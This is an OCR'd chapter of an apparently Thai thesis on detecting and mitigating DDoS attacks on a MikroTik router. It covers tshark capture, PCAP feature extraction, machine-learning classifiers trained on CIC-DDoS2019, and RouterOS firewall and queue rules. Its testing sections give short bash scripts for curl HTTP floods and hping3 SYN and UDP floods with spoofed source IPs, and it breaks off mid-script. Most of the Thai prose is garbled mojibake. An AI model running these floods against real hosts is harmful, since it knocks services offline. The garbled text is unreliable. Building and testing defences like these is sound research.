(Traffic Simulate) %Qﬁﬂ%ﬁ’]ﬁﬁ%’]ﬂsﬁ@yjami%@ﬁﬁ‘iﬂ%@LLﬁﬂLﬂ?\]ﬁT’lu’mmﬂﬂlﬂﬁTﬂLﬂ%aﬂﬁU%ﬂﬁ

< a

Audsinesndudminevesnislaufiiiusumeslulasindwiminiiasuaunisivazes

€

foyaluiaietne uagvinisdsedeyarunluguniosroufinmesilidmivnmatuuas

thufindeyaufining (PCAP Stream) itorhlulilunmsiinsevinginssuvesteyainiotiouay

n393unIslanftuntends lnedniswenia3evieiduaesyiefia 192.168.137.0/24

dmsudumsnageuntsland uaz 192.168.88.0/24 dmiuirdesmaiaduasiiaszideya
3322 maeddeyanisdeasnnisuaeslalasin

st ad i ninvadnmesuululasingu WinBox Ineidaldsunisdstoya

wUUsBLe Wadainnaludimaufiamasinivua 192.168.88.10:37008 @eaursavluly
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Tunsiisgsinnuuasndeiniedionsinaeuuiunadeyatisuds waziiaszsinginssu
nshaudmslsuestielranunsadesiuiasnevausmedunnaiuldeg1aivssd@nsam
nslduiininaadnimesvuismeslulasinfionsivasuuimadeyainietiouay
awnsadainnaludadsnines 192.168.88.10 1l edasevifiuannazealdsindu
mM3Bvuivearienide IDS/IPS iedlnseingAinssudiinadeya
nssaAuinnaadviesuusiaeslulasingd iy WinBox Inowdeldu Streaming
Mode uit odawi ninalugudsviines i ivun 192.168.88.10:37008 7 saunsold
dmMTUNITIATIENAUUADATBIATEYIEATIAADUUSUITRYANTDIATIENNGANTTUNS

Taudnslaiuas

Packet Sniffer Settings EI-

X

General Streaming | Filter

o
=

v/ Streaming Enabled Cancel
Server: | 192.168.88.10 Apply

Port: | 37008
Start

v Filter Stream
Stop

Packets
Connections
Hosts

Protocols

stopped

AN 3-4 N1509A1 Packet Sniffer vuswmasiulasen

1AM 3-4 nsimuailagldlsunsy Winbox dmsudedayanisdeans
aelunieriosuneslulasdnludineundnesvunoiavled 192.168.88.10 lagly

wosnvanetay 37008 lunsdsdeyalneivusldsdoyauusioides
3.3.2.3 msneArAeNinneddmulszaianatoyanisd oansn1snaan

Aawfimesdmiviudeyanisdearsunussananavzldlusunsy tshark Tun1ssiusiudeya
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o

NNsdatayanvudeiilosausuneslulasingzdiglineuineinuteyaaiunse

Uszananatoyanisdeasiasinisaunniy

tshark_command = [
"tshark”,
"i" interface,
"-f", "udp port 37008",
"-a", f"duration:{duration}",
"-b", f'filesize:{filesize}’,

"-F", "pcap",

"-w", output_pcap

MW 3-5 fegreyemasiuiindeya PCAP 91nisnaslulasin

1Al 3-5 nstuiindeyanisdeansuiin PCAP THindesile tshark n1elula3es
oumesneialedl 192.168.88.10 sunesn 37008 lumstuiindeyanisdoasesns
ogluguuuudeya Packet Sniffer Inafmunliguteyaiiiedrluldiinszvimguuuy
nslaufuardnuaziaglifinuuuiassnsdsuivenndssdmiunsadunmslanfifiiniy
JEUULATEUNY
333 nsaneyadddunmagounislaud
msvageunislauinievierusmeslulasinagldinsesdle Hping3 rufuiniasdle
cURL 8l Kali Linux a§1a8ugaedslunislaudlnediaesgunuunislendiiinagy
funIovedsusznausenislanfnisloudiissiiurinans (Application - Layer Attacks)
mslaudnluiivestnivestnslnmeainiote (Protocol Attacks) wag nslasfiasianswiin
guralug vt vl uuud Tavivennsevrsiiu (Volumetric Attacks) S518azi8en
Fdadtasialuil
3.3.3.1 nnslaudiisadurinans (Application - Layer Attacks) T#n1slaud

WUU HTTP Flood Tngdsanue HTTP snuiusnntududswnasidimng
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USER_AGENTS=(
"Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/91.0.4472.124 Safari/537.36"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/92.0.4515.159 Safari/537.36"
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/94.0.4606.61 Safari/537.36"
"Mozilla/5.0 (iPhone; CPU iPhone OS 14 0 like Mac OS X) AppleWebKit/537.36
(KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/537.36"
"Mozlla/5.0 Windows NT 6.1, WOW64; 1:92.0) Gecdko/20100101 Firefox/92.0"
)
USER AGENT=${USER_AGENTS[SRANDOM % ${#USER_AGENTS[@]}]}
curl -s -X GET --http1.1 --compressed -A "SUSER_AGENT" -H "X-Forwarded-For:
SSPOOFED_IP" -H "Client-IP: $SPOOFED_IP" -H "Connection: close" --max-time 2 --retry 0 -

limit-rate 1M -o /dev/null "STARGET" &

A9 3-6 MethayaAdlauavin Application Attack

= o Y a

i 3-5 19gaAnds cURL Siufunismvualvdadeyameniiuiiasdawinliuinis
laaunsasessunsweunevualng nisunuladamalnuinisvinguduiman
3.3.3.2 nslaudn lundedmiveddnsinaeaniavigldnislaufiuuy SYN Flood

Ingluiining SYN druaunniiieaisnswensedieuuayliauy saliud@snnes

for ((i = 0; i < NUM_THREADS; i++)); do
hping3 $FLAGS -p $PORT -a $SPOOFED IP -c 1 --data $PACKET SIZE

STARGET > /dev/null 2>&1 &done

A 3-7 faegeyamdslanfviia Protocol Attack
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Al 3-7 Tdyadnds hping3 sandumsivualidsdeyadioanuiganas
n1stasunusavlefisudinislidesseliadosdunimeusunisdousandud el
ninensvendsiiesgnidiuaunneginduardwalndsnnesdumad

3333 nslauffiadrmsmfinuunalngdieiliuuudiaviveaedeties
(Volumetric Attacks) Tdnaslaufiuuu UDP Flood Lﬁ"ammaummmmmiums%’uﬁa

YDITLUULAIDUY

for ((i = 0; i < NUM_THREADS; i++)); do
hping3 --udp -p SPORT -a $SPOOFED_IP -c 100 --data
SPAYLOAD SIZE STARGET > /dev/null 2>&1 &

done

AN 3-8 feganmAslaAviin Volume Attack

R T : ‘Lﬁa’j’sqmﬁwébq hping3 iamrTUm3ﬁ’mumiﬁeﬁﬁayjaﬁwmm?{qqL.Lazms
Uaouvneiavleflasaiavuinteyaitlngnindnfuazasuvaneiavloflusadfnes
aeluiaietneuaenisdanalifiad evigdaronaivsnnadoyadiuiuinniaunduas
liansnsasesiumsideusenigluaiedislddnseludsmaliglinuliamnsalisnuesenie
eduaandn

334 msanayeidduminneideyanisdeans

msaisyeadeyadmuilnuuuiasnglimsinsesideyanisdearsainlid PCAP
va3yAvaya CIC-DDoS2019 Faufudeyan1sdnasinislandaiedieuusneslulasan
e ayndeyanimiumanvatsuazauasiian

3.3.4.1 msadyadmdsdunsiinszideyaainlild PCap Tieglusduuy

wazenn1saeaIsnglunsaunan
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Input:
pcap_file, window_size
Output:
DataFrame of traffic features per time window
Steps:
1. Read packets from pcap file
2. If no packets — return empty DataFrame
3. Set start timestamp from first packet
4. For each packet:
a. Calculate window index based on timestamp
b. Extract source IP, destination IP, and packet length
c. Count packets and bytes
d. If TCP SYN — count as SYN
If port 80/443 — count as HTTP request
If UDP — count as UDP
5. For each key (window, src IP, dst IP), compute:
- packet rate, total packets, bytes, SYN, UDP, HTTP

6. Return all as a structured Time Windows Detail DataFrame

AN 3-9 MIATIEITeNAINtNG PCAP

namil 3-9 Wunsaagadnvazanteyassasiaietislulid PCAP Tnouuinny
123981 (time window) fifstun Tasiduanmssruuininaieuaanlstdmnlanudeya
avdsiudu DataFrame wuvinsntuazimuanaivesininausnduandudu uas
UszananaunazuininalagfuiaiunisestiwanseuisalofidunisUateniues
PUIALRNLNITILFITUTIWIUURNLNG TCP SYN, HTTP request wienasmdu 80 wie 443
uay UDP nidesaudeyamungunsounanay window, src IP, dst IP iiodunmusns
N1SEAIUNNING IUIAT 0L A wazT1uIunIsTeelunrasUssianlngazlinaans
\Uu DataFrame ﬁ%’mﬁusﬁ’a;ﬂa@qaﬁﬁméwiwammﬁmum dielilumsiinevisuuuuns

TauRAIaNgANTIULAIDVIBNRAUNG
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3.3.4.2 n1saseyaadddunisiesgrideyaaintid PCAP Taglusuuuy

NASIUVBINTITADANT MUINTOUNEAN

Input:

Time_windows_detail_df

window _size
Output:

DataFrame of summarized attack statistics per time window
Steps:
1. If detail_df is empty or missing “Time Window” — return empty
2. Convert relevant columns to float type for consistency
3. Group data by “Time Window” and aggregate:

- Total packets, total bytes, unique source IPs,

TCP SYNs, UDP packets, HTTP requests

4. Compute mean packet size:

- byte count + pkt_count (if pkt_count > 0)
5. Calculate incomplete handshakes:

- SYN count - HTTP request count (clip negative values to 0)
6. Rename columns for clarity
7. Add "Time Window End" by: start time + window_size

8. Reorder and return the final Time Windows Group DataFrame

a a ¢ v a = I3
AN 3-10 ﬂ']i’JLﬂiqzﬁsﬂ@yjaﬂqﬂsqﬂagL@ﬂﬂﬁﬂﬁNﬂqiaafﬂiuqL‘Uumai')ﬂﬂi@‘UL’Jaq

1AMl 3-10 Aemsaguteyaaianislandlundaziranaranyadeyadild 910
Iinniuiinnaneunth Taesudeyadiiu DataFrame AfiswaziBonluusiazdina ua
wdfiunsinngudeyanusuiuunseunaiioniuainnieg wu Siuauuininasy
Gummﬁé’faagaimai’wmulaﬂG’fuwwﬁlajsgwaﬁmuwﬁﬂLm] TCP SYN, UDP wag HTTP request
n&niurgdunawauinnaeds uasasamnsduiedoudedliauysal I
FUIRINANRNeIEWING TCP SYN ffu HTTP Request wéasinlalliiirniosndn 0 dunou

gavneAensdudenadutiiioaudaauiivanus (Time Window End) kagdnisesdnsiu

' [
aa a =

Poyalvieglusuwuuiimioudwsunisilviiasgvinislauanintuiuniedie



38

3.4 n1s3naeanslanpnaziuiindayanislaud
n1531aeegduvunTlandnasduiindeya dnvinnisauaiifdassladnns oy
anmuandeudmiunisirassnsladlugasumeslulasiniotufinguuuuuasandnuas
vosunaLinlieglusuuvudoyavin PCAP Gstaeifudoyadidny laun Alefidunis lof
Uanen1e Insinaeauuu TCP InslnAsawuu UDP uag ICMP saufiaUSunadayain3edieg
waznanmsdsdaya nedeyamardgninlulilunmsiesgiilonsadunginssuiiinund
wardanguvasguiuunmslaiuuudfasnsliinisuuunseaslnefduusenoudsil
3.4.1 yadoyrazumsideusiemelunseunian
n1sdangudeyavzgniuiinegluguwuunseunat lag 1 nsaulia1azlsznaunie

ToyanaTINVUNALIATDINISHREsNAWITa T Uneanu TR N TIUaTAenslaus

FIP15199 3-1

M15197 3-1 YatayanlidmumaiauiwuudnaemsadunslauakuuU easnisiiuing

LUUNTLINY
Time Time Packet | Byte TCP UDP | HTTP |Incomplete
Window Start Window End | Count | Count | SYN |Count| Req HS
Count Count
1543697556 | 1543697558 6 1128 6 2 0 0
1543697557 | 1543697558 12 1320 12 0 0 0
1543697558 | 1543697559 16 1848 16 0 0 0
1543697559 | 1543697560 | 436 | 125292 | 124 0 62 250
1543697560 | 1543697561 | 1084 | 437032 96 0 52 767
1543697561 | 1543697562 | 1160 | 395480 | 138 0 56 853
1543697562 | 1543697563 | 458 | 128166 | 112 0 54 318
1543697563 | 1543697564 | 16748 | 1008424 | 14944 0 0 14944
1543697564 | 1543697565 | 18639 |1121120| 16698 0 0 16698
1543697565 | 1543697566 | 18582 | 1118224 | 16624 0 0 16624
1543697566 | 1543697567 | 19199 | 1155676| 17128 0 0 17128
1543697567 | 1543697568 | 166326 (79777170, 0 166326 0 28
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lngni1sinngudeyaiioduundsziannislauissinisduiindranaisususuiagds

ToyaYIAFUAANITTUAIRYA TnsaunsauUinudanyurd1AydmMTuN1TIATIE

gian1slaudoendu 6 nau leun

3.4.1.1 Packet Count 31uusAnnaNAnTulunsaunan

3.4.1.2 Byte Count Snuuvesdeyaluniininavisuniidddunseusia

3.4.1.3 TCP SYN Count S1nuufinnafiSuduidendoaae TCP SYN Tunsounan

3.4.1.4 UDP Count s1uiuuiininadilalnslnaea UDP Tunseuan

3.4.1.5 HTTP Req Count (HTTP Request Count) 31uauave HTTP Tunseuna

3.4.1.6 Incomplete HS (Incomplete Handshake) ﬁﬁmumiﬁamiamﬁamgiﬂi

Tunsaunan

3.4.2 YadeyasgasidunvesnsiWenraniglunseunm

n13uunivasiuIreInslaufglddeyaeaziduaniglunsauiainsianuin

~ = ~ A v Ay A v = a &
finshaudlasiinisiiugadeyasinnseunarildnunislausdrnnneldlunsimseg

WAINNIVDINISIANRFAD lUMINNS19A 3-2

M1319% 3-2  YadeyanlidmIun1sTuunumasnnIslaua

Time Src IP Packet Byte Packet | TCP | UDP | HTTP
Window Count | Count Rate SYN | Count |Request|
(pps) | Count Count

1543697559 | 52.43.40.243 R’ 6442 7 2 0 0
1543697559 (74.208.236.171 6 384 6 a4 0 0
1543697566 | 172.16.0.5 29924 114320040 29924 0 29924 0
1543697566 | 192.168.50.1 14 6356 14 0 14 0
1543697566 | 192.168.50.8 a4 400 a4 0 a4 0

lngnsdangudeyaiveseyunasnunvesnislanainistuiinmeazidennislugiaa

wasloyanmdnuazdsaunsanUseandu 7 ngu Town

3.4.2.1 Src IP unewav lafinunng

3.4.2.2 Packet Count 311 uninnaNlafdunIgas

3.4.2.3 Byte Count USanauwiininafilofiduniads
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3.4.2.4 Packet Rate (pps) ATudveswininafilefidunisds
3425 TCP SYN Count S1uauninnafiSusuidousiose TCP SYN filofiguysds
3.4.2.6 UDP Count s1uauuiininadilalnslnaoa UDP flefdumads

3.4.2.7 HTTP Request Count S1uaufwe HTTP filefidumads

3.5 NSAATIZANGANTIUNSIAUR
a ¢ al' a o = ) a )
N153LATIZTNAINAITNN 3-3 wun1Tlandnan 3 UszinnnislaufseauloUnaLatu
U HTTP Request J391u7uunn n1slaudgesluilnslnaoa wu TCP SYN Flood 7ineliiin

n1s\Peusie lyauysaldnuiuen LLazmiIf\maéhEJU%;J’1mmwm?\lﬂqqamﬂaﬁﬂﬁt,wuﬁ%mﬁﬁu

] o Ju dovo A A
A1919N 3-3 mmmﬂ%mLLUﬂUESLﬂV}mﬂQNG}LﬂiEJsmEJ

ylianslanf fiausdn1slauf
TCP SYN Count
Application
HTTP Requests
TCP SYN Count
Protocol
Incomplete Handshake
Packet Count
Volume
Byte Count

911015199 3-3 wanaaTindglunisduunnislandnietiseandu 3 ngu laun

¥
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seauwaUnaAtY Inslnaea uazUSuudaya lagusaznquildadinanig Wy TCP SYN
Count uag HTTP Requests dmiunguuaunaiatu, Incomplete Handshake dvsungy
Inslneea wag Packet Count iU Byte Count dwiunguusinadeyadmiinmartiiiunum
drdglunisszudnuaznisleud wazlddudoyaindlunisimuinuudiaesnisnsiadu
a a Y a ' 1 IS a a
nslandnuuUasnisiiusnmslaegndiussdnsam
nsPwunuvasninvesnslandlinisdnngudeyaning Anssuiiaunianglunseuiian

ANUINLNTRUALAAVUTINITUALLDUANIAITIN 3-4



41

=] U dyv a0 Yo ! 1A al
M990 3-4 m%mﬂmﬂﬂqmLmawmmaqmﬂwm

YUARNAUYDUAD faustdunnaanslaus

- Packet Count ga1n
- Byte Count gasnnlubiandy
- TCP SYN Count geiaunf

Attack .
- Incomplete Handshake 37u3UNN
- UDP Count gjwiat,ﬁaq
- 15 HTTP Request (luunansel)
- Packet Count @g/lugiaunf
- Byte Count #tnndUNG
Normal

- TCP SYN dimsduileauysad (SYN + HTTP Request)

- UDP Count swiselald]

A5 3-4 wansyadeyadmIuduununaIuIveInisland lngd19de IP dunisuaz
anwuznImAn Wy IwiuwininakazUsunadeyansoudnisewmugIsaiedngg

WEANITU IP

3.6  NsWALUUTIARRwuNNslanAkuuUEsn1sTHUINIsLUUN TN
1INNITIATILINGANTIUNITRNAAINNTTLUIWIVVRINGANITTUNITINATAeT Uhe

Anulens A1s19N 3-5

M15197 3-5 USunaudeyadsenuviinveanislaug

FUAN15AUR 511J’JHLLﬁﬂLﬂ§]
Application 850
Protocol 4039
\Volume 1908
Normal 27838
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A1597 3-5 wansteyandnthemiuuadmiuinuuuinast lnenuindeyanislaus
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M1519% 3-6 USunaudeyarignyidimuiinvesnisiaud

FUANISTAUR 5’11J’JULLﬁﬂLﬂﬁ]
Application 27838
Protocol 27838
\Volume 27838
Normal 27838

TN 3-6 uansyatayangnadudindudvnawiniuneurnae K-Fold Cross Validation
WU APNGNABDS BT 528N Uy Fl-score

3.6.1 @muyadstunsiinuuudiaeudniug

Input:
Preprocessed CIC-DD0S2019 dataset
Output:
Trained Naive Bayes model and evaluation results
Steps:
1. Load dataset and encode attack labels as integers
2. Split data into features (X) and target (y)
3. Apply standard feature scaling to X
. Initialize 10-fold cross-validation
. Define Gaussian Naive Bayes classifier
. Perform cross-validation and compute accuracy scores

. Train model on the full dataset

co ~N o u» A~

. Predict and evaluate using:
- Classification report
- Confusion matrix
9. Save the trained model to file

10. Visualize confusion matrix as heatmap

A# 3-11 yadslunstniuuItaeaudniug
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AIINAINT 3-11 ANSHABUUIIBDUUD WL UTAI1NTUNITIUNUTZLANNISLAUR
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3.6.2 vugaAdastunsiniuuinaewuliiiaduls (Decision Tree)

Input:
Preprocessed CIC-DD0S2019 dataset
Output:
Trained Decision Tree model and evaluation results
Steps:
1. Load dataset and encode attack labels as integers
2. Split data into features (X) and target (y)
3. Initialize 10-fold cross-validation
4. Configure Decision Tree with regularization parameters
5. Perform cross-validation and compute accuracy scores
6. Train model on full dataset
7. Predict and evaluate using classification report and confusion matrix

8. Save trained model and visualize confusion matrix

i 3-12 gaadunmsinuuuinaeswiuliiiaduls (Decision Tree)

AN 3-12 AsinsuuIaesrulildadulaiednundszianvesnislaud
nyadeyandanseulilagldnisusedunanwuulel 10 d9u nfoudmuanisfimes
eauANn1sSeus kiliAansSeusinniuluinenainsuansAinuwiug wagseauna

ANSIILUNEIUATTIADUTITULUNS NA
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1

N AW

Input:

Preprocessed CIC-DD0oS2019 dataset

Output:

Trained Neural Network model and evaluation results

Steps:
. Load dataset and encode attack labels into integers

2.

Split dataset into:
- Features (X)

- Target labels (y)

. Standardize features using Z-score normalization
. Convert target labels to one-hot encoding
. Split data into training and test sets (e.q., 80/20 ratio)

. Define a sequential neural network with:

- Input layer (RelLU)
- Hidden layers with Dropout

- Output layer with Softmax activation

. Compile the model using:

- Optimizer: Adam
- Loss: Categorical Crossentropy

- Metric: Accuracy

. Train the model on training data with validation on test data

. Evaluate the model’s performance:

- Accuracy, Classification Report, Confusion Matrix

10. Save the trained model to disk

11. Visualize confusion matrix as heatmap

A 3-13 gandslunisiinuuudnaedassieUszamiiiey
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(One-hot Encoding) LLazLLquﬁayjaLﬁumﬂﬂﬁ’usqmmaauiﬂsmsmumami?] AUSTLIY
AEAIAIU LU LA NITINLUNAIYAITIADUNITULNINE

3.6.4 asugaAdadtunsEniuuItaeiteutulndian

9

Input:
Preprocessed CIC-DD0S2019 dataset
Output:
Trained k-NN model and evaluation results
Steps:
1. Load dataset and encode attack labels to integer values
. Split data into features (X) and target labels (y)

. Define 10-fold cross-validation

A WN

. Initialize k-NN classifier with:
- n_neighbors = 20
- weights = uniform
- distance metric = Minkowski
5. Perform cross-validation to compute accuracy scores
6. Train the final k-NN model using the full dataset
7. Predict labels and evaluate with:
- Classification report
- Confusion matrix
8. Save the trained model to disk

9. Visualize confusion matrix using heatmap

Mwi 3-14  gamastunistinuuudtaeaieuthulnanan
AT 3-14 nsnkuuIaeiaululndnge Wweduundseiannislaud
ngaveyanInmienlilaglinisussidiunawuuled 10 @ (10-Fold Cross-Validation)

o =~ 4 Y I v 6 a ¥ a U a s
WAz LN UUIULNAAEWYINAY 20 La8LanNadNsUsEiuMIER1T 1A UTNTULNSNE
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3.6.5 @MUYAMEINITIANGUMeLATUA

Input:
Aggregated traffic feature dataset (CSV)
Output:
Clustered labels indicating normal or attack traffic
Steps:
1. Load dataset and select numerical features related to traffic behavior:
- Packet Count, Byte Count, Packet Rate, TCP SYN, UDP, HTTP Requests
2. Normalize features using Z-score standardization
3. Apply K-Means clustering algorithm with:
- Number of clusters = 2 (Normal, Attack)
4. Assign predicted cluster labels to the dataset
5. Visualize clustering results using scatter plot:
- X-axis: Packet Count
- Y-axis: Byte Count
- Color-coded by cluster with custom labels

6. Display legend and colorbar for interpretability

t:l o a:l L% ! ¥ I s
AIWN 3-15 YARIEFNNITINNGUAIYLANUE

Ny 3-15 TmsBeuduuulideadinismiuguanigin1sisnsdnnauimeniiug
WodwunUszinnsviinvesnietiseonidu 2 nau laun nguildnginssuunfuas
1 aa v I =] = £ [ o w = 1 1 ) I3
nauAduwldulunislaud lnedenldnudnvusd1Ayniun3onng Wy FIuIuLRNLNT
U3uraudeya gms1n1sdauwiining 9143w TCP SYN, UDP uag HTTP Requests 9111y
insusuainateyaneds Z-score ivelvinmsdanguiluseansanuniy uaganiunisin
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3.7 aswudszansamnistestunislauduuuufiasnisliuinisuuunszanedae
wuusaasiiwantuuusiaeilulashn

mMsudszans nmnisdestunislaufuuudjuasnrsliuinsuuunssanedae
wuusiaesfiwaund uuuisimeslulasin Tnserdeaniudiidendefussuufsinis
RouterOS siulusunsuidiessionuy APl wagnguesini$aead (Firewall Rules) iilelvannsa
avadungAnssuiifinundlduuusailewnnssuunsianunmslanfagdiusnsnistesiu
Toednlud® wu nsudenrunealofidunig n1sdrdawuudia nsen1sudaioulaua
\3etns TareiaduainanulasnssuazansyaznainsnevaLesafnnn tldog1el
UsEananm

3.7.1 E1AUTUADUAIAINIT ITMUUT1a095UN USR0S LulASAN

Input:
- PCAP traffic from MikroTik router (via TZSP/UDP port 37008)
Output:
- Labeled traffic windows and blocked source IPs
Steps:
1. Capture network traffic using TShark and save to .pcap file
2. Parse packets from PCAP and extract per-window features:
- Packet Count, Byte Count, TCP SYN, UDP, HTTP Requests
3. Compute traffic statistics per time window:
- Packet Rate, Incomplete Handshakes
4. Predict attack type using trained Decision Tree model
5. Cluster source IP behaviors using K-Means (n_clusters = 2)
6. Apply rule-based labeling to classify abnormal behavior as attack
7. If attack IPs are detected:
- Add to MikroTik firewall address list with 30s timeout

8. Clean up temporary files and repeat detection loop

2NN 3-16  FempAndsruatnMsinusRiusrlesiunmsiaui v wes bilashn
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NI 3-16 YaAE I Tag UsrasAi anyiaduuwasdesiunmslauAuuuufesmsiviuins

q

o [

wuunszeludnuanaase lnsendensiuleyansdeansan sweslilesindunsldiaiede
TShark Li{ o0 U7 NWA nnalugUkuy PCAP antudwinnsiiesnevid oy aluusiavy1enaii oarin
AEUANUUEARY WU TG Bed aya ImnunsTewe TCP SYN mstilnslveea UDP uay
HTTP AaenauNISAIWINASEA USNIINITE U B3 Alard MU I Uil ont Wl auy seld adudd i
a A a | e A e A
WOFINTINNTAENSNEIURD I NUEEDINSIALA
InedeyaiunmsainaadnuasiazgniuunUssnnieuuuiaewulifndulagals
1 =2 1 v a dl dl U al 1 =Y v
Wun1sinaeud I wariiazuuuNNaaessydnwur v slaNR Wy YsslamdSunadeya
Inslnmeavieseauueundinduainiuanirdeyalefiundiaszilagldisnmsnsdanguuuy
AN« ° o w o o A A Aa
wiluduasinuatdieduaunneiiieng (Rule-based) MnAsIaNULE LU0 HANAL
AnuERAUNG SEuvazii unneaulanminaadiy Address List 1a451.0095 llasAnlag
FluTANSoUAIMUATZEZNAINITUADN AT 30 FUITILN 0TI ANANIENUVDINITLANA LLAZLNY
Usgdnsnmlunsmevaussmadennmumassetianiglusweslulashin

3.7.2 nisssanguadliiioadnieluseesiulashn

/ip firewall filter add chain=input src-address-list=VolumeAttack action=drop comment="Block

VolumeAttack IPs"

AW 3-17 geAmdsdmsuuasniswensiensainunislauinigusunudeyavunalvg

NN 3-17 Wunmsavualnsead vuswes lashndisuaan nswiinanvnaale
W1y Address List 130 VolumeAttack Ineiilafluiininandldumie (Source Address) asaiusetiotl

sruvayALIUNSA R ANaUR (action=drop) W1 chain=input

/ip firewall filter add chain=input src-address-list=ProtocolAttack connection-limit=10,32

action=drop comment="Limit ProtocolAttack Connections"

AN 3-18 YaAdsdmsuann1sWeNsanstinunsRuANYedvednsinaeaiATave
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NAMT 3-18 ardeannuanglisieaduuisinestulasinidingUssasd
Wevdennsmiinainuuieavleninieglusiede Address List 913931 ProtocolAttack
Tnedlafusininalag Afldunia (Source Address) assiusiedosinaiiazinnnnisiieuse
LdiAu 10 MmsWensdadandusumeslulasinmniiussuvazaniunisiiauwininaturiud

(action=drop) WU chain=input

/ip firewall mangle add chain=forward src-address-list=ApplicationAttack action=mark-
connection new-connection-mark=appattack_conn passthrough=yes comment="Mark
connections from ApplicationAttack”

/ip firewall mangle add chain=forward connection-mark=appattack_conn action=mark-packet
new-packet-mark=appattack packet passthrough=no comment="Mark packets from
ApplicationAttack”

/queue tree add name="AppAttack Download" parent=global dst-address-
list=ApplicationAttack packet-mark=appattack packet limit-at=512k max-limit=1M
queue=default comment="Limit download"

/queue tree add name="AppAttack Upload" parent=global src-address-list=ApplicationAttack
packet-mark=appattack packet limit-at=256k max-limit=512k queue=default comment="Limit

upload"

o o o o LY < 1Y = ad J a o
AN 3-19 ‘q&]ﬂ'Wﬁflﬁ']%i‘Ua@ﬂ’J’]llLi’Jﬂ'ﬁENGUE]iiljaﬂim‘WUﬂ'ﬁhﬂJﬁ]VI“U’ENIWJEUENLLEJUWHLﬂﬂj‘u

NNMF 3-19 wanan1591inAINET (Bandwidth Throttling) d1usuledilu Address
List ¥0 ApplicationAttack uuisunaslulasin lneldnisduufininaniu Firewall Mangle
Wi emuamng Mark 18901348 ensiond 1141y Queue Tree 1 aAIUANAIILIE
nsanilranuazsUlnan Wy 9a9nkiAiu 1 Mbps wag 512 Kbps muﬁﬁﬁ%ﬁﬁwmuaw
slilnifiaudedussiutuneundnduldognadiussavanm uaraunsauSumuuleuns

= 1
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3.8 nsUszdiunanisdesiunislaufivusnasiulasin

nsUszidunantsiiausgdns namnisdesiunislaufuuudfrasnisliuinig
wuunszeuusneslilasindemaBouiveneiesasutmsUssdiunaosnidu 2 dudel

3.8.1 MiUszdiunannuiugwauuiaedlunsnsndunisiaud

3.8.1.1 M3Uszidunauuuiiaesduunvianislaud Tnginueif ldlunis

Uszillunaluudlaoddnkunnislauawuuliasnistiusniswuunsgatensinnasgldnudl
F¥anan 18ud Arnnugniesdauansdndiuresnisyiunegnianun A1eausiuguay
An1ssEanfiaziounnuanunsalunisduundssianiidesnisuazaziuuenvilsiadu
Aledeideeniludnues A1Auusiud uag A1mssedn ielvnisuszifiudaiuanga

o 1

TAYNATNSALONUMAUDNIUAITINADUTITUUNING LN OLAASTIUALLDENVDITIUIUAIBE 19N

Y

uungnApLazRanaIAtuLsarUsTIANeE1 TR Ul TUYR AT

from sklearn.metrics import classification_report, confusion matrix

class_report = classification_report(y, y pred, target names=custom_labels)
plt.figure(figsize=(6,6))

sns.heatmap(conf _matrix, annot=True, fmt='d', cap='Blues, xticklabels=custom_labels,
yticklabels=custom_labels)

plt.xlabel('Predicted Labels')

plt.ylabel(True Labels)

plt.title('Confusion Matrix Decision Tree')

plt.show()

AT 3-20 YeAssUTEIUNaLaraT IR Uil duwnIng

1NN 3-20 ANFIETNTIBNUNTIHUNUTLANAIUATIA FuTULsazNaunIoY
wananad ws lug vuuunisneneuiiiduund nd i aliiiuguiunisvinuieg nuaz

AUz USELNNDE TN U
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3.8.1.2 MsUszifiunanuudiassdnnguuvasfisnvesnisland Tneinasminld
Tunsussiiunauuuitassdnnguunasiunislasfuuudfiasnisliuinsuuunszanenis
UsziT unauuu1a0an159Ana uuna $9 unvesnislandldinusi Tanandn 2 §2
1éun Sithouette Score wag fufiladd-luafiu %4 Sithouette Score M iamnilnddnues
Teyanelunguuazanurinanngudu Inedeszwing -1 i 1 lneaniilng 1 uansds

NAUNA AUATTLAIA-LUAAY T IAAITULANFAILALNSEANURIVDIAG ALADS

1599
X3
4

gaAnlimdaansinguianuuanieiudaiau

from sklearn.metrics import silhouette score, davies bouldin_score
kmeans = KMeans(n_clusters=2, random_state=42, n_init=10)
df["Cluster_KMeans"] = kmeans.fit_predict(X_scaled)
silhouette = silhouette score(X_scaled, df["Cluster KMeans"])

davies_bouldin = davies bouldin_score(X scaled, df["Cluster KMeans"])

= o o a ° A«
AN 3-21 ﬂ@ﬂqaﬂﬂqiﬂizLﬂJUNaLLUUQW@@QLF"I@JH&
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AT 3-21 Ard sauvudiaeuadudiiodnnqudeyasandu 2 nqu
INUUAIINAT Silhouette Score wagAvilindd-Tuafu LiloUssluAMNINTBINITIANGY
1RE719899AN9I8 INANUTARULAZ AR AUTDIABL AR AN DT

3.8.2 myUszdiunanisestunislanfivuseesiulashin

Tun1sUsediulssansnmessssuunsiadunas toanunislaufwuulgiasnisiiuinis

o = vaa = % « ] 9 ¢ a Yo a

wuunsEaty M Tulaeldisnmteusveaasessiudugunsalisineslulasin gandunis
Auadasglanidunmaaeulusliuureinisdiaesasadigkaznisuaouwlamngiay

lafl (IP Spoofing) Inedassaniunisainslanieendy 3 Ussianvdn laun



3.8.2.1 mslaudluszauueundiatu (Application-based Attacks)
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random_ips=()
foriin {1..20}%; do
ip="5((RANDOM % 223 + 1)).5((RANDOM % 256)).5(RANDOM % 256)).5((RANDOM % 256))"
random_ips+=("$ip")
done
for ip in "${random_ips[@]}'; do
echo "#431n $ip"
hping3 -S --spoof "$ip" -p 80 --flood -d 120 -E payload.txt "STARGET" &

done

AN 3-22 YaAAmadaUN1SIANAkUY HTTP Flood

NN 3-22 Ueann33NaeInIsRNALUU HTTP Flood nedamianeiat IP Anie 20 51803
uaa W NNARLANES hping3 fae flag -S TUdmesn 80 veatwinewSendaya HTTP GET Request

Nl payload.xt Hiadenuunsliaassinds —flood Wiiedwiininanuagesnsaiodhu

SEAULDUNALATU

3.8.2.2 Nslaudluseaulnsivneea (Protocol-based Attacks)

random_ips=()
foriin {1..20}; do
ip="5((RANDOM % 223 + 1)).5((RANDOM % 256)).5((RANDOM % 256)).5((RANDOM % 256))"
random_ips+=("$ip")
done
for ip in "${random_ips[@]}'; do
